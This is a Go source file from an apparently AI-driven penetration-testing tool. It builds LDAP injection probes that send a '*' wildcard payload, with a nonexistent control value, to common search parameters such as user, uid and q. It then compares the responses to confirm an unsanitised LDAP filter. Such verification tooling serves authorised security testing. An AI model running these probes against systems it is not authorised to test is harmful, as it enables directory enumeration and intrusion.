package exploit

import (
	"fmt"
	"strings"

	"github.com/Armur-Ai/Pentest-Swarm-AI/internal/swarm/verify"
)

// commonLDAPParams are parameter names that commonly feed an LDAP search filter.
var commonLDAPParams = []string{"user", "username", "search", "query", "q", "cn", "uid", "name"}

// LDAPInjectionSpec builds a differential re-proof recipe for LDAP injection in a
// search parameter. When a parameter is interpolated into an LDAP filter like
// (uid=<param>), the ATTACK value "*" becomes (uid=*) and matches every entry,
// while the CONTROL is a specific value that matches none. The response body
// diverging — the attack returns a populated directory listing, the control an
// empty/denied one — proves the parameter reaches the filter unsanitised.
//
// targetURL is the search endpoint; param is the injectable query parameter;
// authHeader is an optional session credential. Returns an error if invalid.
func LDAPInjectionSpec(targetURL, param, authHeader string) (*verify.ProbeSpec, error) {
	if strings.TrimSpace(param) == "" {
		return nil, fmt.Errorf("ldap: empty parameter")
	}
	host, pathQuery := splitHostPath(targetURL)
	path, query := pathQuery, ""
	if i := strings.IndexByte(pathQuery, '?'); i >= 0 {
		path, query = pathQuery[:i], pathQuery[i+1:]
	}
	if path == "" {
		path = "/"
	}
	var b strings.Builder
	b.WriteString("GET " + path + "?" + markParam(query, param) + " HTTP/1.1\r\n")
	writeCommonHeaders(&b, host, authHeader)
	b.WriteString("\r\n")
	// "*" is query-safe; the control is a distinctive non-existent value.
	return verify.NewDifferentialSpec(b.String(), "", "*", "nx_nonexistent_zzq", "")
}

// LDAPInjectionSpecs returns a spec per common LDAP search-parameter name, so a
// sweep can probe an LDAP-ish endpoint without knowing its exact parameter.
func LDAPInjectionSpecs(targetURL, authHeader string) ([]TechniqueSpec, error) {
	var out []TechniqueSpec
	for _, p := range commonLDAPParams {
		spec, err := LDAPInjectionSpec(targetURL, p, authHeader)
		if err != nil {
			return nil, err
		}
		out = append(out, TechniqueSpec{Technique: "ldap:" + p, Spec: spec})
	}
	return out, nil
}
